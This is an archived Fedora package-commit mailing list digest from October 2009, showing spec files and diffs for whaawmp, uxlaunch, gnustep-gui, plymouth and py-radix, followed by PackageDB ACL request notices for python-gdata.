Update of /cvs/pkgs/rpms/whaawmp/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28788/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	whaawmp.spec 
Log Message:
initial build of whaawmp for this branch


--- NEW FILE whaawmp.spec ---
# Review: https://bugzilla.redhat.com/show_bug.cgi?id=513420

%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           whaawmp
Version:        0.2.12.1
Release:        2%{?dist}
Summary:        Lightweight Media Player

Group:          Applications/Multimedia
License:        GPLv3+
URL:            http://home.gna.org/whaawmp/
Source0:        http://download.gna.org/whaawmp/%{version}/whaawmp-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch

BuildRequires:   python-devel
BuildRequires:   python-setuptools 
BuildRequires:   desktop-file-utils
BuildRequires:   gettext intltool
Requires:        python >= 2.5, pygtk2-libglade >= 2.10, pyxdg
Requires:        dbus-python
Requires:        gstreamer-python >= 0.10, gstreamer-plugins-good >= 0.10

%description
Whaaw! Media Player is a lightweight media player that supports fullscreen 
mode, seeking, changing video colour settings and more. It will play any audio
or video files that GStreamer can play. It is intended to be a basic media 
player without any GNOME dependencies.


%prep
%setup -q
# remove shebangs
for Files in src/thumbnailer.py src/whaawmp.py; do
  %{__sed} -i.orig -e 1d ${Files}
  touch -r ${Files}.orig ${Files}
  %{__rm} ${Files}.orig
done

# fix desktop file
sed -i 's!audio/x-wav;audio/x-wav;!audio/x-wav;!' %{name}.desktop
sed -i 's!False!false!' %{name}.desktop


%build
%{__python} setup.py build


%install
rm -rf $RPM_BUILD_ROOT
%{__python} setup.py install -O1 --skip-build --root $RPM_BUILD_ROOT

desktop-file-install                                       \
  --delete-original                                        \
  --remove-key=Encoding                                    \
  --remove-category=Application                            \
  --add-category=GTK                                       \
  --dir=${RPM_BUILD_ROOT}%{_datadir}/applications          \
  ${RPM_BUILD_ROOT}%{_datadir}/applications/%{name}.desktop

%find_lang %{name}


%clean
rm -rf $RPM_BUILD_ROOT


%files -f %{name}.lang
%defattr(-,root,root,-)
%doc COPYING README TODO
%{_bindir}/%{name}
%{_bindir}/whaaw-thumbnailer
%{python_sitelib}/%{name}*.egg-info
%{python_sitelib}/%{name}/
%{_datadir}/%{name}/
%{_datadir}/applications/%{name}.desktop
%{_datadir}/pixmaps/%{name}.svg
# We need to own this dir although it's already owned by Thunar
%dir %{_datadir}/thumbnailers/
%{_datadir}/thumbnailers/whaaw-thumbnailer.desktop


%changelog
* Sun Sep 06 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.12.1-2
- Rework summary and description

* Thu Jul 16 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.12.1-1
- Update to 0.2.12.1

* Sat Dec 20 2008 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.10.1-1
- Update to 0.2.10.1

* Sun Jun 22 2008 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.10-1
- Initial Fedora Package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/whaawmp/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:29:38 -0000	1.1
+++ .cvsignore	13 Oct 2009 16:48:17 -0000	1.2
@@ -0,0 +1 @@
+whaawmp-0.2.12.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/whaawmp/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:29:38 -0000	1.1
+++ sources	13 Oct 2009 16:48:17 -0000	1.2
@@ -0,0 +1 @@
+259b61cfa87bbba54dcd9579a815a421  whaawmp-0.2.12.1.tar.bz2



From cwickert at fedoraproject.org  Tue Oct 13 16:48:17 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Tue, 13 Oct 2009 16:48:17 +0000 (UTC)
Subject: rpms/whaawmp/F-10 whaawmp.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091013164817.4877111C00E8@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/whaawmp/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28788/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	whaawmp.spec 
Log Message:
initial build of whaawmp for this branch


--- NEW FILE whaawmp.spec ---
# Review: https://bugzilla.redhat.com/show_bug.cgi?id=513420

%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           whaawmp
Version:        0.2.12.1
Release:        2%{?dist}
Summary:        Lightweight Media Player

Group:          Applications/Multimedia
License:        GPLv3+
URL:            http://home.gna.org/whaawmp/
Source0:        http://download.gna.org/whaawmp/%{version}/whaawmp-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch

BuildRequires:   python-devel
BuildRequires:   python-setuptools 
BuildRequires:   desktop-file-utils
BuildRequires:   gettext intltool
Requires:        python >= 2.5, pygtk2-libglade >= 2.10, pyxdg
Requires:        dbus-python
Requires:        gstreamer-python >= 0.10, gstreamer-plugins-good >= 0.10

%description
Whaaw! Media Player is a lightweight media player that supports fullscreen 
mode, seeking, changing video colour settings and more. It will play any audio
or video files that GStreamer can play. It is intended to be a basic media 
player without any GNOME dependencies.


%prep
%setup -q
# remove shebangs
for Files in src/thumbnailer.py src/whaawmp.py; do
  %{__sed} -i.orig -e 1d ${Files}
  touch -r ${Files}.orig ${Files}
  %{__rm} ${Files}.orig
done

# fix desktop file
sed -i 's!audio/x-wav;audio/x-wav;!audio/x-wav;!' %{name}.desktop
sed -i 's!False!false!' %{name}.desktop


%build
%{__python} setup.py build


%install
rm -rf $RPM_BUILD_ROOT
%{__python} setup.py install -O1 --skip-build --root $RPM_BUILD_ROOT

desktop-file-install                                       \
  --delete-original                                        \
  --remove-key=Encoding                                    \
  --remove-category=Application                            \
  --add-category=GTK                                       \
  --dir=${RPM_BUILD_ROOT}%{_datadir}/applications          \
  ${RPM_BUILD_ROOT}%{_datadir}/applications/%{name}.desktop

%find_lang %{name}


%clean
rm -rf $RPM_BUILD_ROOT


%files -f %{name}.lang
%defattr(-,root,root,-)
%doc COPYING README TODO
%{_bindir}/%{name}
%{_bindir}/whaaw-thumbnailer
%{python_sitelib}/%{name}*.egg-info
%{python_sitelib}/%{name}/
%{_datadir}/%{name}/
%{_datadir}/applications/%{name}.desktop
%{_datadir}/pixmaps/%{name}.svg
# We need to own this dir although it's already owned by Thunar
%dir %{_datadir}/thumbnailers/
%{_datadir}/thumbnailers/whaaw-thumbnailer.desktop


%changelog
* Sun Sep 06 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.12.1-2
- Rework summary and description

* Thu Jul 16 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.12.1-1
- Update to 0.2.12.1

* Sat Dec 20 2008 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.10.1-1
- Update to 0.2.10.1

* Sun Jun 22 2008 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.10-1
- Initial Fedora Package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/whaawmp/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:29:38 -0000	1.1
+++ .cvsignore	13 Oct 2009 16:48:17 -0000	1.2
@@ -0,0 +1 @@
+whaawmp-0.2.12.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/whaawmp/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:29:38 -0000	1.1
+++ sources	13 Oct 2009 16:48:17 -0000	1.2
@@ -0,0 +1 @@
+259b61cfa87bbba54dcd9579a815a421  whaawmp-0.2.12.1.tar.bz2



From cwickert at fedoraproject.org  Tue Oct 13 16:48:17 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Tue, 13 Oct 2009 16:48:17 +0000 (UTC)
Subject: rpms/whaawmp/F-12 whaawmp.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091013164817.ABF1011C00E8@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/whaawmp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28788/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	whaawmp.spec 
Log Message:
initial build of whaawmp for this branch


--- NEW FILE whaawmp.spec ---
# Review: https://bugzilla.redhat.com/show_bug.cgi?id=513420

%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           whaawmp
Version:        0.2.12.1
Release:        2%{?dist}
Summary:        Lightweight Media Player

Group:          Applications/Multimedia
License:        GPLv3+
URL:            http://home.gna.org/whaawmp/
Source0:        http://download.gna.org/whaawmp/%{version}/whaawmp-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch

BuildRequires:   python-devel
BuildRequires:   python-setuptools 
BuildRequires:   desktop-file-utils
BuildRequires:   gettext intltool
Requires:        python >= 2.5, pygtk2-libglade >= 2.10, pyxdg
Requires:        dbus-python
Requires:        gstreamer-python >= 0.10, gstreamer-plugins-good >= 0.10

%description
Whaaw! Media Player is a lightweight media player that supports fullscreen 
mode, seeking, changing video colour settings and more. It will play any audio
or video files that GStreamer can play. It is intended to be a basic media 
player without any GNOME dependencies.


%prep
%setup -q
# remove shebangs
for Files in src/thumbnailer.py src/whaawmp.py; do
  %{__sed} -i.orig -e 1d ${Files}
  touch -r ${Files}.orig ${Files}
  %{__rm} ${Files}.orig
done

# fix desktop file
sed -i 's!audio/x-wav;audio/x-wav;!audio/x-wav;!' %{name}.desktop
sed -i 's!False!false!' %{name}.desktop


%build
%{__python} setup.py build


%install
rm -rf $RPM_BUILD_ROOT
%{__python} setup.py install -O1 --skip-build --root $RPM_BUILD_ROOT

desktop-file-install                                       \
  --delete-original                                        \
  --remove-key=Encoding                                    \
  --remove-category=Application                            \
  --add-category=GTK                                       \
  --dir=${RPM_BUILD_ROOT}%{_datadir}/applications          \
  ${RPM_BUILD_ROOT}%{_datadir}/applications/%{name}.desktop

%find_lang %{name}


%clean
rm -rf $RPM_BUILD_ROOT


%files -f %{name}.lang
%defattr(-,root,root,-)
%doc COPYING README TODO
%{_bindir}/%{name}
%{_bindir}/whaaw-thumbnailer
%{python_sitelib}/%{name}*.egg-info
%{python_sitelib}/%{name}/
%{_datadir}/%{name}/
%{_datadir}/applications/%{name}.desktop
%{_datadir}/pixmaps/%{name}.svg
# We need to own this dir although it's already owned by Thunar
%dir %{_datadir}/thumbnailers/
%{_datadir}/thumbnailers/whaaw-thumbnailer.desktop


%changelog
* Sun Sep 06 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.12.1-2
- Rework summary and description

* Thu Jul 16 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.12.1-1
- Update to 0.2.12.1

* Sat Dec 20 2008 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.10.1-1
- Update to 0.2.10.1

* Sun Jun 22 2008 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.10-1
- Initial Fedora Package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/whaawmp/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:29:38 -0000	1.1
+++ .cvsignore	13 Oct 2009 16:48:17 -0000	1.2
@@ -0,0 +1 @@
+whaawmp-0.2.12.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/whaawmp/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:29:38 -0000	1.1
+++ sources	13 Oct 2009 16:48:17 -0000	1.2
@@ -0,0 +1 @@
+259b61cfa87bbba54dcd9579a815a421  whaawmp-0.2.12.1.tar.bz2



From pbrobinson at fedoraproject.org  Tue Oct 13 16:48:23 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Tue, 13 Oct 2009 16:48:23 +0000 (UTC)
Subject: rpms/uxlaunch/devel import.log,1.1,NONE
Message-ID: <20091013164823.2FCBF11C00E8@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/uxlaunch/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28874

Removed Files:
	import.log 
Log Message:
- remove import.log


--- import.log DELETED ---



From s4504kr at fedoraproject.org  Tue Oct 13 16:51:28 2009
From: s4504kr at fedoraproject.org (Jochen Schmitt)
Date: Tue, 13 Oct 2009 16:51:28 +0000 (UTC)
Subject: rpms/gnustep-gui/devel gnustep-gui.spec,1.1,1.2
Message-ID: <20091013165128.7348F11C00E8@cvs1.fedora.phx.redhat.com>

Author: s4504kr

Update of /cvs/extras/rpms/gnustep-gui/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30189

Modified Files:
	gnustep-gui.spec 
Log Message:
Fixing missing BRs


Index: gnustep-gui.spec
===================================================================
RCS file: /cvs/extras/rpms/gnustep-gui/devel/gnustep-gui.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- gnustep-gui.spec	13 Oct 2009 16:33:22 -0000	1.1
+++ gnustep-gui.spec	13 Oct 2009 16:51:28 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           gnustep-gui
 Version:        0.16.0
-Release:        4%{?dist}
+Release:        5%{?dist}
 
 Summary:        The GNUstep GUI library
 License:        GPLv2+ and GPLv3+
@@ -18,6 +18,7 @@ BuildRequires:  aspell-devel
 BuildRequires:  giflib-devel
 BuildRequires:  audiofile-devel
 BuildRequires:  portaudio
+BuildRequires:	texinfo, texi2html
 BuildRequires:  gnustep-make
 BuildRequires:  gnustep-base-devel
 Requires:       gnustep-base >= 1.15.1
@@ -155,6 +156,9 @@ fi
 %doc Documentation/manual/LICENSE
 
 %changelog
+* Tue Oct 13 2009 Jochen Schmitt <Jochen herr-schmitt de> 0.16.0-5
+- Fix missing BRs
+
 * Tue Sep 29 2009 Jochen Schmitt <Jochen herr-schmitt de> 0.16.0-4
 - Fix typo
 



From rstrode at fedoraproject.org  Tue Oct 13 16:51:19 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Tue, 13 Oct 2009 16:51:19 +0000 (UTC)
Subject: rpms/plymouth/F-12 fix-emergency-shell.patch, 1.2, 1.3 plymouth.spec,
	1.158, 1.159
Message-ID: <20091013165119.36B3411C00E8@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/plymouth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30095

Modified Files:
	fix-emergency-shell.patch plymouth.spec 
Log Message:
- Clean up terminal on exit (bug 528683 again)


fix-emergency-shell.patch:
 b/src/libplybootsplash/ply-keyboard.c |    4 +++-
 b/src/libplybootsplash/ply-renderer.c |   13 ++++++++++---
 b/src/libplybootsplash/ply-terminal.c |    4 ++--
 b/src/main.c                          |    3 ++-
 src/main.c                            |   20 +++++++++++++++-----
 5 files changed, 32 insertions(+), 12 deletions(-)

Index: fix-emergency-shell.patch
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/F-12/fix-emergency-shell.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- fix-emergency-shell.patch	13 Oct 2009 15:44:10 -0000	1.2
+++ fix-emergency-shell.patch	13 Oct 2009 16:51:18 -0000	1.3
@@ -170,3 +170,61 @@ index 375ddd5..ab72823 100644
 -- 
 1.6.5.rc2
 
+From adf98f119b5f06c238b86860f690fe2af608d57f Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Tue, 6 Oct 2009 16:47:41 -0400
+Subject: [PATCH] [main] clean up terminal when done with it
+
+Before we were relying on the renderer to clean
+up the terminal, which was wrong.
+---
+ src/main.c |   12 ++++++++++++
+ 1 files changed, 12 insertions(+), 0 deletions(-)
+
+diff --git a/src/main.c b/src/main.c
+index e827da4..31f2b1e 100644
+--- a/src/main.c
++++ b/src/main.c
+@@ -94,6 +94,7 @@ typedef struct
+   ply_command_parser_t *command_parser;
+   ply_mode_t mode;
+   ply_renderer_t *renderer;
++  ply_terminal_t *terminal;
+ 
+   ply_trigger_t *quit_trigger;
+ 
+@@ -608,6 +609,13 @@ quit_splash (state_t *state)
+       state->renderer = NULL;
+     }
+ 
++  if (state->terminal != NULL)
++    {
++      ply_terminal_close (state->terminal);
++      ply_terminal_free (state->terminal);
++      state->terminal = NULL;
++    }
++
+   ply_trace ("removing displays and keyboard");
+   remove_displays_and_keyboard (state);
+ 
+@@ -935,6 +943,8 @@ add_display_and_keyboard_for_terminal (state_t    *state,
+       return;
+     }
+ 
++  state->terminal = terminal;
++
+   ply_console_set_active_vt (state->console,
+                              ply_terminal_get_vt_number (terminal));
+ 
+@@ -1005,6 +1015,8 @@ add_default_displays_and_keyboard (state_t *state)
+       return;
+     }
+ 
++  state->terminal = terminal;
++
+   keyboard = ply_keyboard_new_for_renderer (renderer);
+   set_keyboard (state, keyboard);
+ 
+-- 
+1.6.5.rc2
+


Index: plymouth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/F-12/plymouth.spec,v
retrieving revision 1.158
retrieving revision 1.159
diff -u -p -r1.158 -r1.159
--- plymouth.spec	13 Oct 2009 15:44:10 -0000	1.158
+++ plymouth.spec	13 Oct 2009 16:51:18 -0000	1.159
@@ -6,7 +6,7 @@
 Summary: Graphical Boot Animation and Logger
 Name: plymouth
 Version: 0.8.0
-Release: 0.2009.29.09.10%{?dist}
+Release: 0.2009.29.09.11%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source0: http://freedesktop.org/software/plymouth/releases/%{name}-%{version}.tar.bz2
@@ -470,6 +470,9 @@ fi
 %defattr(-, root, root)
 
 %changelog
+* Tue Oct 13 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.11
+- Clean up terminal on exit (bug 528683 again)
+
 * Tue Oct 13 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.10
 - Fix more emergency shell horkage (for users without modesetting)
   (bug 528683)



From pbrobinson at fedoraproject.org  Tue Oct 13 16:52:03 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Tue, 13 Oct 2009 16:52:03 +0000 (UTC)
Subject: rpms/uxlaunch/F-12 uxlaunch-fixppc.patch, NONE, 1.1 uxlaunch.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091013165203.19BBB11C00E8@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/uxlaunch/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30435

Modified Files:
	.cvsignore sources 
Added Files:
	uxlaunch-fixppc.patch uxlaunch.spec 
Log Message:
- Initial import

uxlaunch-fixppc.patch:
 desktop.c |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE uxlaunch-fixppc.patch ---
--- uxlaunch-0.23/desktop.c.orig	2009-09-08 17:56:45.000000000 +0100
+++ uxlaunch-0.23/desktop.c	2009-09-08 17:57:21.000000000 +0100
@@ -26,6 +26,8 @@
 #  define __NR_ioprio_set 289
 #elif defined(__x86_64__)
 #  define __NR_ioprio_set 251
+#elif defined (__powerpc__)
+#  define __NR_ioprio_set 273
 #else
 #  error "Unsupported arch"
 #endif


--- NEW FILE uxlaunch.spec ---
Name:           uxlaunch
Version:        0.28
Release:        1%{?dist}
Summary:        A small and quick interface to start the Moblin Desktop

Group:          User Interface/X
License:        GPLv2
URL:            http://www.moblin.org/
Source0:        http://git.moblin.org/cgit.cgi/%{name}/snapshot/%{name}-%{version}.tar.bz2
Patch0:         uxlaunch-fixppc.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: ConsoleKit-devel
BuildRequires: dbus-glib-devel
BuildRequires: libXau-devel
BuildRequires: pam-devel

Requires: dbus

%description
An ultra-lightweight, very cut down gdm and gnome-session replacement 
designed to get the Moblin Desktop running as quick as possible.

%prep
%setup -q
%patch0 -p1 -b .fixppc

# make build verbose
sed -i 's!^\(\t\+\)@!\1!' Makefile

%build
make %{?_smp_mflags}

%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot} INSTALL='install -p'

# Remove execute bit from config and man files
chmod -x %{buildroot}/%{_sysconfdir}/sysconfig/uxlaunch
chmod -x %{buildroot}/%{_datadir}/man/man1/uxlaunch*

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc COPYING
%config(noreplace) %{_sysconfdir}/sysconfig/uxlaunch
%{_sbindir}/uxlaunch
%doc %{_datadir}/man/man1/uxlaunch.1.gz

%changelog
* Tue Oct 13 2009 Peter Robinson <pbrobinson at gmail.com> 0.28-1
- New upstream 0.28 release, updates from review

* Tue Sep  8 2009 Peter Robinson <pbrobinson at gmail.com> 0.23-1
- Initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/uxlaunch/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:32:29 -0000	1.1
+++ .cvsignore	13 Oct 2009 16:52:02 -0000	1.2
@@ -0,0 +1 @@
+uxlaunch-0.28.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/uxlaunch/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:32:29 -0000	1.1
+++ sources	13 Oct 2009 16:52:02 -0000	1.2
@@ -0,0 +1 @@
+99745cb7a831be90076ae3a9f1fbd310  uxlaunch-0.28.tar.bz2



From s4504kr at fedoraproject.org  Tue Oct 13 17:04:56 2009
From: s4504kr at fedoraproject.org (Jochen Schmitt)
Date: Tue, 13 Oct 2009 17:04:56 +0000 (UTC)
Subject: rpms/gnustep-gui/devel gnustep-gui.spec,1.2,1.3
Message-ID: <20091013170456.6BC6A11C00E8@cvs1.fedora.phx.redhat.com>

Author: s4504kr

Update of /cvs/extras/rpms/gnustep-gui/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1750

Modified Files:
	gnustep-gui.spec 
Log Message:
Fixing missing BRs


Index: gnustep-gui.spec
===================================================================
RCS file: /cvs/extras/rpms/gnustep-gui/devel/gnustep-gui.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- gnustep-gui.spec	13 Oct 2009 16:51:28 -0000	1.2
+++ gnustep-gui.spec	13 Oct 2009 17:04:54 -0000	1.3
@@ -18,7 +18,7 @@ BuildRequires:  aspell-devel
 BuildRequires:  giflib-devel
 BuildRequires:  audiofile-devel
 BuildRequires:  portaudio
-BuildRequires:	texinfo, texi2html
+BuildRequires:	texinfo, texi2html, texinfo-tex
 BuildRequires:  gnustep-make
 BuildRequires:  gnustep-base-devel
 Requires:       gnustep-base >= 1.15.1



From mdomsch at fedoraproject.org  Tue Oct 13 17:14:47 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Tue, 13 Oct 2009 17:14:47 +0000 (UTC)
Subject: rpms/py-radix/devel import.log, NONE, 1.1 py-radix.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091013171447.9AE4311C00E8@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/py-radix/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4538/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log py-radix.spec 
Log Message:
initial import



--- NEW FILE import.log ---
py-radix-0_5-5_fc10:HEAD:py-radix-0.5-5.fc10.src.rpm:1255454034


--- NEW FILE py-radix.spec ---
Name: py-radix
Summary: Radix tree data structure for Python
Version: 0.5
Release: 5%{?dist}
Source0: http://www2.mindrot.org/files/py-radix/py-radix-%{version}.tar.gz
License: BSD with advertising
Group: Development/Libraries
BuildRoot: %{_tmppath}/%{name}-buildroot
BuildRequires: python-devel
Url: http://www.mindrot.org/py-radix.html

%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}


%description
py-radix is an implementation of a radix tree for Python, which 
supports storage and lookups of IPv4 and IPv6 networks. 

The radix tree (a.k.a Patricia tree) is the data structure most 
commonly used for routing table lookups. It efficiently stores 
network prefixes of varying lengths and allows fast lookups of 
containing networks. py-radix's implementation is built solely 
for networks (the data structure itself is more general). 

%prep
%setup -q
rm -f inet_ntop.c strlcpy.c
touch inet_ntop.c strlcpy.c

%build
%{__python} setup.py build

%install
rm -rf $RPM_BUILD_ROOT
%{__python} setup.py install --root=$RPM_BUILD_ROOT

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root)
%{python_sitearch}/radix*
%doc LICENSE README TODO ChangeLog

%changelog
* Mon Oct 12 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-5
- remove inet_ntop.c and strlcpy.c for safety.  They're only used on
  Windows.

* Thu Oct  1 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-4
- more package cleanups during review
  - quiet setup, clean buildroot at install, drop python Requires,
    add dist tag.

* Thu Oct  1 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-2
- update for Fedora packaging guidelines

* Wed Jun 28 2006 Damien Miller <djm at mindrot.org>
- Build RPM


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/py-radix/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:31:45 -0000	1.1
+++ .cvsignore	13 Oct 2009 17:14:46 -0000	1.2
@@ -0,0 +1 @@
+py-radix-0.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/py-radix/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:31:45 -0000	1.1
+++ sources	13 Oct 2009 17:14:46 -0000	1.2
@@ -0,0 +1 @@
+8c853ce312b769de627d958a1cd6e5a0  py-radix-0.5.tar.gz



From pkgdb at fedoraproject.org  Tue Oct 13 17:16:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 17:16:08 +0000
Subject: [pkgdb] python-gdata: richardfearn has requested watchbugzilla
Message-ID: <20091013171608.59C0C10F87F@bastion2.fedora.phx.redhat.com>

richardfearn has requested the watchbugzilla acl on python-gdata (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 17:16:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 17:16:09 +0000
Subject: [pkgdb] python-gdata: richardfearn has requested commit
Message-ID: <20091013171609.6C4F310F8A3@bastion2.fedora.phx.redhat.com>

richardfearn has requested the commit acl on python-gdata (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 17:16:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 17:16:11 +0000
Subject: [pkgdb] python-gdata: richardfearn has requested watchcommits
Message-ID: <20091013171611.E4D9D10F86A@bastion2.fedora.phx.redhat.com>

richardfearn has requested the watchcommits acl on python-gdata (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 17:16:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 17:16:13 +0000
Subject: [pkgdb] python-gdata: richardfearn has requested approveacls
Message-ID: <20091013171613.CFB6E10F8AD@bastion2.fedora.phx.redhat.com>

richardfearn has requested the approveacls acl on python-gdata (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 17:16:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 17:16:26 +0000
Subject: [pkgdb] python-gdata: richardfearn has requested watchcommits
Message-ID: <20091013171626.C393F10F87F@bastion2.fedora.phx.redhat.com>

richardfearn has requested the watchcommits acl on python-gdata (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 17:16:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 17:16:27 +0000
Subject: [pkgdb] python-gdata: richardfearn has requested commit
Message-ID: <20091013171627.9632A10F8A3@bastion2.fedora.phx.redhat.com>

richardfearn has requested the commit acl on python-gdata (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 17:16:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 17:16:31 +0000
Subject: [pkgdb] python-gdata: richardfearn has requested watchbugzilla
Message-ID: <20091013171631.479AE10F8AB@bastion2.fedora.phx.redhat.com>

